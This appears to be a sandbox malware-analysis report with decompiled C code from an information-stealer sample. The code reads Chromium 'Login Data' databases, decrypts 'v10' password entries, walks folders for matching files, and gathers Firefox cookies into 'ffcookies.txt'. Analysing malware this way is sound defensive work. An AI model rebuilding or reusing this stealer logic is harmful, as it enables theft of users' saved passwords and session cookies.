					 *0x40e4cc = _t126;
					_t128 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1c0);
					 *0x40e4b8 = _t128;
					_t130 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e224);
					 *0x40e4c0 = _t130;
					 *0x40e4d0 =  *((intOrPtr*)( *0x40e0d4))(_t261,  *0x40e1b0);
					_t134 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
					_t135 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
					_v32 = _t135;
					_t263 =  *((intOrPtr*)( *0x40e000))(_t134, _a8, L"Login Data");
					_v56 = _t263;
					_t137 = E0040A69E( *0x40e000,  &_v32);
					_t204 = _v32;
					if(_t137 == 0) {
						L59:
						LocalFree(_t263);
						DeleteFileW(_t204);
						return LocalFree(_t204) | 0xffffffff;
					}
					_push(0);
					_push(_t204);
					_push(_t263);
					if( *((intOrPtr*)( *0x40e184))() == 0) {
						goto L59;
					}
					_push( &_v24);
					_push(_t204);
					if( *0x40e4c8() == 0) {
						if(_v24 != 0) {
							_t146 =  *0x40e4d4(_v24,  *0x40e1fc, 0xffffffff,  &_a16, 0);
							_t271 = _t270 + 0x14;
							if(_t146 == 0) {
								_push(_a16);
								if( *0x40e4cc() != 0x64) {
									L53:
									if(_t263 != 0) {
										LocalFree(_t263);
									}
									 *0x40e4bc(_a16);
									 *0x40e4c4(_v24);
									DeleteFileW(_t204);
									if(_t204 != 0) {
										LocalFree(_t204);
									}
									goto L57;
								}
								_t205 = _v44;
								do {
									_t153 =  *0x40e4c0(_a16, 0);
									_t154 =  *0x40e4c0(_a16, 1);
									_v48 = _t154;
									_t155 =  *0x40e4c0(_a16, 2);
									_t271 = _t271 + 0x18;
									_t255 = _t155;
									if(_t153 >= 1 && (_v48 >= 1 || _t255 >= 1)) {
										_t157 =  *0x40e4b8(_a16, 0);
										_v44 = _t157;
										_t158 =  *0x40e4b8(_a16, 1);
										_t271 = _t271 + 0x10;
										_v40 = _t158;
										if(_t255 <= 0) {
											goto L51;
										}
										_t265 =  *0x40e4d0(_a16, 2);
										_t54 = _t255 + 0x40; // 0x40
										_v36 = _t265;
										_t160 =  *((intOrPtr*)( *0x40e044))(0x40, _t54);
										_t161 =  *((intOrPtr*)( *0x40e050))(_t160, _t265);
										_v48 = _t161;
										_v12 =  *_t161;
										_v11 =  *((intOrPtr*)(_t161 + 1));
										_v10 =  *((intOrPtr*)(_t161 + 2));
										_v9 = 0;
										if(_t265 == 0) {
											L50:
											LocalFree(_t161);
											goto L51;
										}
										_t266 =  *((intOrPtr*)( *0x40e044))(0x40, 0x2000);
										_t165 =  *0x40e1a4; // 0x80aa98
										_v20 = _t165;
										_push("v10");
										_push( &_v12);
										_v8 = _t266;
										if( *((intOrPtr*)( *0x40e084))() != 0) {
											_push( &_v80);
											_v84 = _v36;
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_v88 = 0x200;
											_push( &_v88);
											if( *((intOrPtr*)( *0x40e0b0))() == 0) {
												_t267 = _v8;
												L47:
												if(_t267 != 0) {
													LocalFree(_t267);
												}
												_t161 = _v48;
												goto L50;
											}
											 *((char*)(_v80 + _v76)) = 0;
											_t173 = E0040A4C2(_v76);
											_v36 = _t173;
											_t174 =  *((intOrPtr*)( *0x40e0ec))(_t266, _v20, _v44, _v40, _t173);
											_t271 = _t271 + 0x14;
											_t175 = lstrlenW(_v20);
											_t267 = _v8;
											if(_t174 >= _t175) {
												 *_t205 = E0040A503( *_t205, _t267);
											}
											if(_v76 != 0) {
												LocalFree(_v76);
											}
											LocalFree(_v36);
											L39:
											goto L47;
										}
										_v16 =  *((intOrPtr*)( *0x40e044))(0x40, _t255 << 2);
										if(E0040177F(_v36,  &_v16, _t255) == 0) {
											_t267 = _v8;
										} else {
											_t184 =  *((intOrPtr*)( *0x40e0ec))(_t266, _v20, _v44, _v40, _v16);
											_t271 = _t271 + 0x14;
											_t185 = lstrlenW(_v20);
											_t267 = _v8;
											if(_t184 >= _t185) {
												 *_t205 = E0040A503( *_t205, _t267);
											}
										}
										if(_v16 == 0) {
											goto L47;
										} else {
											LocalFree(_v16);
											goto L39;
										}
									}
									L51:
									_push(_a16);
								} while ( *0x40e4cc() == 0x64);
								_t204 = _v32;
								_t263 = _v56;
								goto L53;
							}
							LocalFree(_t263);
							LocalFree(_t204);
							 *0x40e4c4(_v24);
							_t190 = 0xfffffffd;
							return _t190;
						}
						_t258 = 0xfffffffe;
						L22:
						LocalFree(_t263);
						LocalFree(_t204);
						return _t258;
					}
					_t258 = 0xffffffffffffffff;
					goto L22;
				}
			}

0x004027cd
0x004027cf
0x004027d2
0x004027de
0x004027e0
0x004027e7
0x004027ef
0x004027fa
0x00402808
0x00402811
0x00402814
0x0040281e
0x0040282b
0x0040282e
0x0040283b
0x0040283d
0x00402840
0x00402845
0x00402845
0x00402854
0x00402857
0x00402858
0x00402859
0x0040285a
0x0040285e
0x00402862
0x00402867
0x00402872
0x00402877
0x0040287d
0x00402889
0x00402889
0x0040287d
0x0040288f
0x00402894
0x00402894
0x0040289e
0x004028a3
0x004028a3
0x004028ad
0x004028b2
0x004028b2
0x004028ba
0x004028bd
0x004028bd
0x004028c5
0x004028c8
0x004028c8
0x004028ce
0x004028d3
0x00402c97
0x00000000
0x004028d9
0x004028e5
0x004028ed
0x004028f8
0x00402900
0x0040290b
0x00402913
0x0040291e
0x00402926
0x00402931
0x00402939
0x00402944
0x0040294c
0x00402957
0x0040295f
0x00402971
0x0040297e
0x0040298b
0x0040299b
0x004029a1
0x004029a6
0x004029a9
0x004029ae
0x004029b3
0x00402c9e
0x00402c9f
0x00402ca6
0x00000000
0x00402cb3
0x004029bf
0x004029c1
0x004029c2
0x004029c7
0x00000000
0x00000000
0x004029d0
0x004029d1
0x004029dc
0x004029e7
0x00402a12
0x00402a18
0x00402a1d
0x00402a3f
0x00402a4c
0x00402c66
0x00402c68
0x00402c6b
0x00402c6b
0x00402c74
0x00402c7d
0x00402c86
0x00402c8e
0x00402c91
0x00402c91
0x00000000
0x00402c8e
0x00402a52
0x00402a55
0x00402a5a
0x00402a67
0x00402a72
0x00402a75
0x00402a7b
0x00402a7e
0x00402a83
0x00402a9d
0x00402aa8
0x00402aab
0x00402ab1
0x00402ab4
0x00402ab9
0x00000000
0x00000000
0x00402ad0
0x00402ad4
0x00402ad7
0x00402add
0x00402ae7
0x00402ae9
0x00402aee
0x00402af4
0x00402afa
0x00402afd
0x00402b03
0x00402c46
0x00402c47
0x00000000
0x00402c47
0x00402b1d
0x00402b1f
0x00402b24
0x00402b2a
0x00402b2f
0x00402b30
0x00402b37
0x00402bb6
0x00402bb9
0x00402bc1
0x00402bc2
0x00402bc3
0x00402bc4
0x00402bc5
0x00402bc9
0x00402bd0
0x00402bd5
0x00402c35
0x00402c38
0x00402c3a
0x00402c3d
0x00402c3d
0x00402c43
0x00000000
0x00402c43
0x00402bdd
0x00402be1
0x00402bf6
0x00402c00
0x00402c02
0x00402c0a
0x00402c0e
0x00402c11
0x00402c1c
0x00402c1c
0x00402c22
0x00402c27
0x00402c27
0x00402ba5
0x00402ba5
0x00000000
0x00402ba5
0x00402b50
0x00402b5b
0x00402b95
0x00402b5d
0x00402b75
0x00402b77
0x00402b7f
0x00402b83
0x00402b86
0x00402b91
0x00402b91
0x00402b86
0x00402b9c
0x00000000
0x00402ba2
0x00402ba5
0x00000000
0x00402ba5
0x00402b9c
0x00402c4d
0x00402c4d
0x00402c57
0x00402c60
0x00402c63
0x00000000
0x00402c63
0x00402a20
0x00402a27
0x00402a30
0x00402a39
0x00000000
0x00402a39
0x004029eb
0x004029ec
0x004029ed
0x004029f4
0x00000000
0x004029fa
0x004029de
0x00000000
0x004029de

APIs

LocalFree.KERNEL32(00000000), ref: 00402845

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

LocalFree.KERNEL32(00000000), ref: 00402894
LocalFree.KERNEL32(00000000), ref: 004028A3
LocalFree.KERNEL32(00000000), ref: 004028B2
LocalFree.KERNEL32(00000000), ref: 004028BD
LocalFree.KERNEL32(00000000), ref: 004028C8
LocalFree.KERNEL32(00000000), ref: 004029ED
LocalFree.KERNEL32(?), ref: 004029F4
LocalFree.KERNEL32(00000000), ref: 00402A20
LocalFree.KERNEL32(?), ref: 00402A27
LocalFree.KERNEL32(00000000), ref: 00402C9F
DeleteFileW.KERNEL32(?), ref: 00402CA6
LocalFree.KERNEL32(?), ref: 00402CAD

Strings

pXqt, xrefs: 00402845, 00402894, 004028A3, 004028B2, 004028BD, 004028C8, 004029ED, 004029F4, 00402A20, 00402A27, 00402BA5, 00402C27, 00402C3D, 00402C47, 00402C6B, 00402C91, 00402C9F, 00402CAD
v10, xrefs: 00402B2A
Login Data, xrefs: 00402993

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: Login Data$pXqt$v10
API String ID: 2194112602-1039607614
Opcode ID: 18e78e8ff6f735b836f31b0206ae2e491e165408470930e53818c058bcf09315
Instruction ID: 1f8185af0f1f67a55c4789a30ea30f5b3919f5d8761e9684d4856192d3457fc8
Opcode Fuzzy Hash: 18e78e8ff6f735b836f31b0206ae2e491e165408470930e53818c058bcf09315
Instruction Fuzzy Hash: 25F18071900225EFDB05DFA6DE48AAE7BB5FB08310F144935F515B72E0CBB89920CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00405B5B Relevance: 40.6, APIs: 18, Strings: 5, Instructions: 372
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00405B5B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20, WCHAR* _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr* _a36, intOrPtr _a40, char _a44) {
				void* _v12;
				signed int _v16;
				void* _v20;
				void* _v24;
				WCHAR* _v28;
				void* _v32;
				void* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* _v48;
				void* _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				char _v620;
				signed int _v632;
				unsigned int _v636;
				signed int _v664;
				void* __ebx;
				void* __esi;
				void* _t112;
				signed int _t114;
				void* _t117;
				void* _t119;
				void* _t120;
				void* _t121;
				WCHAR* _t122;
				WCHAR* _t125;
				void* _t127;
				WCHAR* _t129;
				intOrPtr _t135;
				WCHAR* _t136;
				void* _t138;
				void* _t140;
				signed int _t144;
				signed int _t148;
				WCHAR* _t151;
				WCHAR* _t158;
				WCHAR* _t162;
				void* _t167;
				unsigned int _t175;
				WCHAR* _t177;
				WCHAR* _t182;
				void* _t186;
				WCHAR* _t189;
				WCHAR* _t192;
				void* _t194;
				void* _t195;
				WCHAR* _t196;
				void* _t201;
				void* _t202;
				char* _t232;
				intOrPtr _t233;
				intOrPtr _t239;
				WCHAR* _t245;
				intOrPtr _t249;
				signed int _t251;
				signed int _t252;
				WCHAR* _t253;
				void* _t254;
				void* _t255;
				void* _t259;
				void* _t260;
				unsigned int _t261;
				void* _t262;
				void* _t264;
				void* _t265;
				void* _t267;

				_t1 =  &_a44; // 0x406321
				_t249 =  *_t1;
				_v44 = __edx;
				_v40 = __ecx;
				if(_t249 <= _a40) {
					_v16 = _v16 & 0x00000000;
					_t112 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
					_t195 =  *((intOrPtr*)( *0x40e13c))(_t112, _a4);
					_v52 = _t195;
					_t114 =  *((intOrPtr*)( *0x40e08c))(_t195);
					_t201 = 0x5c;
					__eflags =  *((intOrPtr*)(_t195 + _t114 * 2 - 2)) - _t201;
					_t202 = _t195;
					if( *((intOrPtr*)(_t195 + _t114 * 2 - 2)) == _t201) {
						_push( *0x40e3d0);
						_v16 = 1;
					} else {
						_push( *0x40e1d0);
					}
					E0040188C(_t195, _t202, 0x104, _t259);
					_t117 =  *((intOrPtr*)( *0x40e018))(_t195,  &_v664);
					_v36 = _t117;
					__eflags = _t117 - 0xffffffff;
					if(_t117 != 0xffffffff) {
						_t260 = _v36;
						_t196 = _v16;
						do {
							__eflags = _v664 & 0x00000010;
							if((_v664 & 0x00000010) == 0) {
								_t119 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
								_t120 =  *((intOrPtr*)( *0x40e13c))(_t119, _a4);
								__eflags = _t196;
								if(_t196 == 0) {
									_t233 =  *0x40e258; // 0x8374a8
									_t120 = E0040A503(_t120, _t233);
								}
								_t232 =  &_v620;
								_t121 = E0040A503(_t120, _t232);
								_t261 = _v636;
								_t251 = _v632;
								__eflags = _a24;
								_v12 = _t121;
								if(_a24 == 0) {
									_t122 = 0;
									__eflags = 0;
								} else {
									_t232 = L"*.lnk";
									_t122 = E0040A70E( &_v620, _t232);
								}
								__eflags = _v12;
								_v28 = _t122;
								if(_v12 == 0) {
									L52:
									LocalFree(_v12);
									goto L53;
								} else {
									_t135 = _a28;
									_t252 = (_t261 << 0x00000020 | _t251) >> 0xa;
									asm("cdq");
									__eflags = _t261 >> 0xa - _t232;
									if(__eflags > 0) {
										goto L52;
									}
									if(__eflags < 0) {
										L23:
										_t136 = E0040A70E( &_v620, _a12);
										__eflags = _t136;
										if(_t136 == 0) {
											L25:
											_t253 = _v28;
											__eflags = _t253;
											if(_t253 == 0) {
												goto L52;
											}
											L28:
											_t138 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
											_t140 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t138,  *0x40e1b8), _v40);
											_t239 =  *0x40e1b8; // 0x837b68
											_v20 = E0040A503(E0040A503(_t140, _t239), _v44);
											__eflags = _t253;
											if(_t253 == 0) {
												_t264 = 0;
												__eflags = 0;
											} else {
												_t264 = E00408FA5(_v12);
											}
											_t144 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
											_v16 = _t144;
											_v32 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
											__eflags = _t253;
											if(_t253 != 0) {
												_t186 =  *((intOrPtr*)( *0x40e08c))(_t264);
												__eflags = _t186 - 4;
												if(_t186 > 4) {
													_t189 =  *((intOrPtr*)( *0x40e0e0))(_t264, 0, 0x5c) + 2;
													__eflags = _t189;
													StrCpyW(_v32, _t189);
												}
											}
											_t148 =  *((intOrPtr*)( *0x40e08c))(_a8);
											__eflags = _t253;
											_t150 =  !=  ? _v32 : 0;
											_t151 = E0040A2AA(_v12 + _t148 * 2,  &_v16,  !=  ? _v32 : 0);
											__eflags = _t151;
											if(_t151 == 0) {
												L51:
												LocalFree(_v32);
												LocalFree(_v16);
												LocalFree(_v20);
												goto L52;
											} else {
												_t218 = _v20;
												_v20 = E0040A503(_v20, _v16);
												__eflags = _t253;
												if(_t253 == 0) {
													_t254 = _v12;
													L41:
													_v24 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
													_t158 = E0040A69E(_t218,  &_v24);
													_t265 = _v24;
													__eflags = _t158;
													if(_t158 == 0) {
														L50:
														DeleteFileW(_t265);
														LocalFree(_t265);
														goto L51;
													}
													_t162 =  *((intOrPtr*)( *0x40e184))(_t254, _t265, 0);
													__eflags = _t162;
													if(_t162 == 0) {
														goto L50;
													}
													_t255 =  *((intOrPtr*)( *0x40e03c))(_t265, 0x80000000, 1, 0, 4, 0, 0);
													 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v20, 0xffffffff, 0, 0, 0, 0);
													_v48 = 0;
													_t167 =  *((intOrPtr*)( *0x40e044))(0x40, 0x30c);
													_t245 = _v48;
													_v24 = 0;
													__eflags = _t245;
													if(_t245 == 0) {
														L49:
														LocalFree(_t167);
														CloseHandle(_t255);
														goto L50;
													}
													 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v20, 0xffffffff, 0, _t245, 0, 0);
													__eflags = 0;
													if(0 == 0) {
														L48:
														_t167 = _v24;
														goto L49;
													}
													__eflags = _v28;
													if(_v28 == 0) {
														L47:
														_t223 = _a36;
														_v56 = _v56 & 0x00000000;
														_v68 = _v24;
														_v64 = _t255;
														_v60 = _t265;
														 *_t223 =  *_a36 + 1;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														goto L51;
													}
													_t175 =  *((intOrPtr*)( *0x40e14c))(_t255, 0);
													__eflags = _t175 >> 0xa - _a28;
													if(_t175 >> 0xa >= _a28) {
														goto L48;
													}
													goto L47;
												}
												_t177 = E0040A70E(_t264, _a12);
												__eflags = _t177;
												if(_t177 == 0) {
													L39:
													LocalFree(_v32);
													LocalFree(_v12);
													LocalFree(_v20);
													LocalFree(_v16);
													LocalFree(_t264);
													L53:
													_t107 =  &_a44; // 0x406321
													_t249 =  *_t107;
													L54:
													_t260 = _v36;
													goto L55;
												}
												_t218 = _t264;
												_t182 = E0040A70E(_t264, _a16);
												__eflags = _t182;
												if(_t182 != 0) {
													goto L39;
												}
												_t254 =  *((intOrPtr*)( *0x40e13c))(_v12, _t264);
												_v12 = _t254;
												LocalFree(_t264);
												goto L41;
											}
										}
										_t192 = E0040A70E( &_v620, _a16);
										__eflags = _t192;
										if(_t192 == 0) {
											_t253 = _v28;
											goto L28;
										}
										goto L25;
									}
									__eflags = _t252 - _t135;
									if(_t252 >= _t135) {
										goto L52;
									}
									goto L23;
								}
							}
							__eflags = _v620 - 0x2e;
							if(_v620 == 0x2e) {
								goto L55;
							}
							__eflags = _a20;
							if(_a20 == 0) {
								goto L55;
							}
							_t127 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
							_t262 =  *((intOrPtr*)( *0x40e000))(_t127, _a4,  &_v620);
							_t129 = E0040A70E( &_v620, _a16);
							__eflags = _t129;
							if(_t129 == 0) {
								_t26 = _t249 + 1; // 0x1
								E00405B5B(_v40, _v44, _t262, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _t26);
								_t267 = _t267 + 0x2c;
							}
							LocalFree(_t262);
							goto L54;
							L55:
							_t125 =  *((intOrPtr*)( *0x40e148))(_t260,  &_v664);
							__eflags = _t125;
						} while (_t125 != 0);
						_t110 =  &_v52; // 0x406321
						LocalFree( *_t110);
						FindClose(_t260);
						goto L57;
					} else {
						LocalFree(_t195);
						L57:
						__eflags = 0;
						return 0;
					}
				}
				_t194 = 2;
				return _t194;
			}

0x00405b67
0x00405b67
0x00405b6a
0x00405b6d
0x00405b73
0x00405b82
0x00405b8d
0x00405ba1
0x00405ba4
0x00405ba7
0x00405bab
0x00405bb1
0x00405bb6
0x00405bb8
0x00405bc2
0x00405bc8
0x00405bba
0x00405bba
0x00405bba
0x00405bcf
0x00405be1
0x00405be3
0x00405be6
0x00405be9
0x00405bf7
0x00405bfa
0x00405bfd
0x00405bfd
0x00405c04
0x00405c9d
0x00405ca9
0x00405cab
0x00405cad
0x00405caf
0x00405cb7
0x00405cb7
0x00405cbc
0x00405cc4
0x00405cc9
0x00405cd1
0x00405cd7
0x00405cdb
0x00405cde
0x00405cf2
0x00405cf2
0x00405ce0
0x00405ce0
0x00405ceb
0x00405ceb
0x00405cf4
0x00405cf8
0x00405cfb
0x00405fad
0x00405fb0
0x00000000
0x00405d01
0x00405d01
0x00405d04
0x00405d08
0x00405d0c
0x00405d0e
0x00000000
0x00000000
0x00405d14
0x00405d1e
0x00405d27
0x00405d2c
0x00405d2e
0x00405d42
0x00405d42
0x00405d45
0x00405d47
0x00000000
0x00000000
0x00405d52
0x00405d5e
0x00405d74
0x00405d79
0x00405d90
0x00405d93
0x00405d95
0x00405da3
0x00405da3
0x00405d97
0x00405d9f
0x00405d9f
0x00405db1
0x00405db8
0x00405dc4
0x00405dc7
0x00405dc9
0x00405dd2
0x00405dd4
0x00405dd7
0x00405de5
0x00405de5
0x00405dec
0x00405dec
0x00405dd7
0x00405dfa
0x00405e04
0x00405e09
0x00405e0e
0x00405e14
0x00405e16
0x00405f92
0x00405f95
0x00405f9e
0x00405fa7
0x00000000
0x00405e1c
0x00405e1f
0x00405e27
0x00405e2a
0x00405e2c
0x00405e8d
0x00405e90
0x00405ea1
0x00405ea4
0x00405ea9
0x00405eac
0x00405eae
0x00405f84
0x00405f85
0x00405f8c
0x00000000
0x00405f8c
0x00405ebd
0x00405ebf
0x00405ec1
0x00000000
0x00000000
0x00405ee3
0x00405ef6
0x00405f05
0x00405f08
0x00405f0a
0x00405f0d
0x00405f10
0x00405f12
0x00405f76
0x00405f77
0x00405f7e
0x00000000
0x00405f7e
0x00405f2c
0x00405f2e
0x00405f30
0x00405f73
0x00405f73
0x00000000
0x00405f73
0x00405f32
0x00405f36
0x00405f4a
0x00405f4a
0x00405f50
0x00405f54
0x00405f59
0x00405f65
0x00405f6b
0x00405f6d
0x00405f6e
0x00405f6f
0x00405f70
0x00000000
0x00405f70
0x00405f40
0x00405f45
0x00405f48
0x00000000
0x00000000
0x00000000
0x00405f48
0x00405e33
0x00405e38
0x00405e3a
0x00405e63
0x00405e66
0x00405e6f
0x00405e78
0x00405e81
0x00405fb0
0x00405fb0
0x00405fb6
0x00405fb6
0x00405fb9
0x00405fb9
0x00000000
0x00405fb9
0x00405e3f
0x00405e41
0x00405e46
0x00405e48
0x00000000
0x00000000
0x00405e55
0x00405e58
0x00405e5b
0x00000000
0x00405e5b
0x00405e16
0x00405d39
0x00405d3e
0x00405d40
0x00405d4f
0x00000000
0x00405d4f
0x00000000
0x00405d40
0x00405d16
0x00405d18
0x00000000
0x00000000
0x00000000
0x00405d18
0x00405cfb
0x00405c0a
0x00405c12
0x00000000
0x00000000
0x00405c18
0x00405c1c
0x00000000
0x00000000
0x00405c2e
0x00405c4c
0x00405c4e
0x00405c53
0x00405c55
0x00405c57
0x00405c7d
0x00405c82
0x00405c82
0x00405c86
0x00000000
0x00405fbc
0x00405fc9
0x00405fcb
0x00405fcb
0x00405fd3
0x00405fd7
0x00405fde
0x00000000
0x00405beb
0x00405bec
0x00405fe4
0x00405fe4
0x00000000
0x00405fe4
0x00405be9
0x00405b77
0x00000000

APIs

LocalFree.KERNEL32(00000000), ref: 00405BEC

Strings

!c@, xrefs: 00405FD3, 00405FD6
*.lnk, xrefs: 00405CE0
pXqt, xrefs: 00405BEC, 00405C86, 00405E5B, 00405E66, 00405E6F, 00405E78, 00405E81, 00405F77, 00405F8C, 00405F95, 00405F9E, 00405FA7, 00405FB0, 00405FD7
., xrefs: 00405C0A
!c@, xrefs: 00405B67, 00405FB6

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID: !c@$!c@$*.lnk$.$pXqt
API String ID: 2826327444-688315778
Opcode ID: b0d5b7ba67e721dc2419ad7a18b72dabb38105fce5c2b9528fe6729ad57d29b4
Instruction ID: a0bd4d6dd4f3a97f7616e57fc29639dad099fc1712c2800218aeb084a22374ad
Opcode Fuzzy Hash: b0d5b7ba67e721dc2419ad7a18b72dabb38105fce5c2b9528fe6729ad57d29b4
Instruction Fuzzy Hash: 75D1AC71A00216ABEF04DFA5CD44EAF7775EF48300F104929FA15B72A0DB78A951CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406725 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 321stringCOMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI(00000000,00000000), ref: 0040674F

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 004067B9
lstrlenW.KERNEL32 ref: 00406895
lstrlenW.KERNEL32(00000010), ref: 004068A0

Strings

., xrefs: 0040678F
pXqt, xrefs: 00406A6B, 00406A74, 00406A7D, 00406A84, 00406A8D, 00406A96, 00406A9F, 00406AA8, 00406AB1, 00406ABE, 00406AE6
\ffcookies.txt, xrefs: 004068CE

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: lstrlen$CombineFreeGlobalPath
String ID: .$\ffcookies.txt$pXqt
API String ID: 1001358258-524094324
Opcode ID: d0294a9fc0581ac0fa3de42f5cfe0cf58799ffb174c14b0ebb38fbd754fd8809
Instruction ID: 20c570a6cb6be533e63ae3ac294d5736f0af275dc5b24bb95add0a5715bb0c19
Opcode Fuzzy Hash: d0294a9fc0581ac0fa3de42f5cfe0cf58799ffb174c14b0ebb38fbd754fd8809
Instruction Fuzzy Hash: D9C16FB1E00219AFDB04DFA6DD44AAEBBB5EB88310F104839F915B7391DB745D11CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040B177 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 275
fileCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040B177(void* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20) {
				char _v576;
				char _v584;
				char _v616;
				signed char _v620;
				intOrPtr _v632;
				intOrPtr _v640;
				void* _v648;
				void* _v668;
				void* _v672;
				intOrPtr _v692;
				void* _v696;
				WCHAR* _v704;
				void* _v724;
				void* _v740;
				intOrPtr _v756;
				intOrPtr _v768;
				char _v772;
				intOrPtr _v780;
				intOrPtr _v788;
				intOrPtr _v796;
				signed int _v808;
				void* _v812;
				void* _v820;
				void* _v824;
				void* _v828;
				void* _v832;
				void* _v836;
				void* _v844;
				void* __ebx;
				void* __esi;
				void* _t66;
				void* _t70;
				void* _t78;
				void* _t86;
				void* _t89;
				void* _t96;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t102;
				intOrPtr _t103;
				void* _t116;
				void* _t117;
				void* _t127;
				intOrPtr _t128;
				void* _t130;
				WCHAR* _t132;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t177;
				void* _t182;
				intOrPtr _t183;
				void* _t185;
				void* _t189;
				signed int _t190;
				void* _t192;
				void* _t194;
				signed int _t196;
				void* _t198;

				_t198 = (_t196 & 0xfffffff8) - 0x28c;
				_t183 = __edx;
				_t190 = __ecx;
				_v640 = __edx;
				_v648 = __ecx;
				_t66 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a, _t182, _t189, _t127);
				_t128 =  *((intOrPtr*)( *0x40e13c))(_t66, _a4);
				_v632 = _t128;
				E0040188C(_t128, _t128, 0x104, __ecx,  *0x40e1d0);
				_t70 =  *((intOrPtr*)( *0x40e018))(_t128,  &_v616);
				_v672 = _t70;
				if(_t70 == 0xffffffff) {
					L21:
					return 0;
				}
				_t130 = _t70;
				do {
					if((_v620 & 0x00000010) == 0) {
						if(E0040A70E( &_v576, _a8) == 0 || E0040A70E( &_v576, _a12) != 0) {
							goto L19;
						} else {
							_t86 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
							_t185 =  *((intOrPtr*)( *0x40e000))(_t86, _a4,  &_v584);
							_v668 = _t185;
							_v704 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
							_t89 = E0040A69E( *0x40e044,  &_v704);
							_t132 = _v704;
							if(_t89 == 0) {
								L17:
								LocalFree(_t132);
								LocalFree(_t185);
								DeleteFileW(_t132);
								L18:
								_t130 = _v696;
								_t183 = _v692;
								goto L19;
							}
							_push(0);
							_push(_t132);
							_push(_t185);
							if( *((intOrPtr*)( *0x40e184))() == 0) {
								goto L17;
							}
							_t96 =  *((intOrPtr*)( *0x40e03c))(_t132, 0x80000000, 1, 0, 4, 0, 0);
							_v724 = _t96;
							GetFileSize(_t96, 0);
							_t98 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
							_t99 =  *((intOrPtr*)( *0x40e13c))(_t98,  *0x40e1b8);
							_t172 =  *0x40e1b4; // 0x80f430
							_t100 = E0040A503(_t99, _t172);
							_t173 =  *0x40e1b8; // 0x837b68
							_t102 = E0040A503(E0040A503(_t100, _t173), _t190);
							_t103 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
							_v768 = _t103;
							E0040A2AA(_t185 +  *((intOrPtr*)( *0x40e08c))(0) * 2,  &_v772, _v756);
							_t194 = E0040A503(_t102, _v772);
							_v740 = _t194;
							 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t194, 0xffffffff, 0, 0, 0, 0);
							_v780 = 0;
							 *((intOrPtr*)( *0x40e044))(0x40, 0x144);
							_t177 = _v788;
							_v796 = 0;
							if(_t177 == 0) {
								L16:
								LocalFree(_t132);
								LocalFree(_t194);
								LocalFree(_v812);
								LocalFree(_t185);
								L14:
								_t190 = _v808;
								goto L18;
							}
							 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t194, 0xffffffff, 0, _t177, 0, 0);
							if(0 != 0) {
								_t116 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
								_v812 = _v836;
								_v808 = _v832;
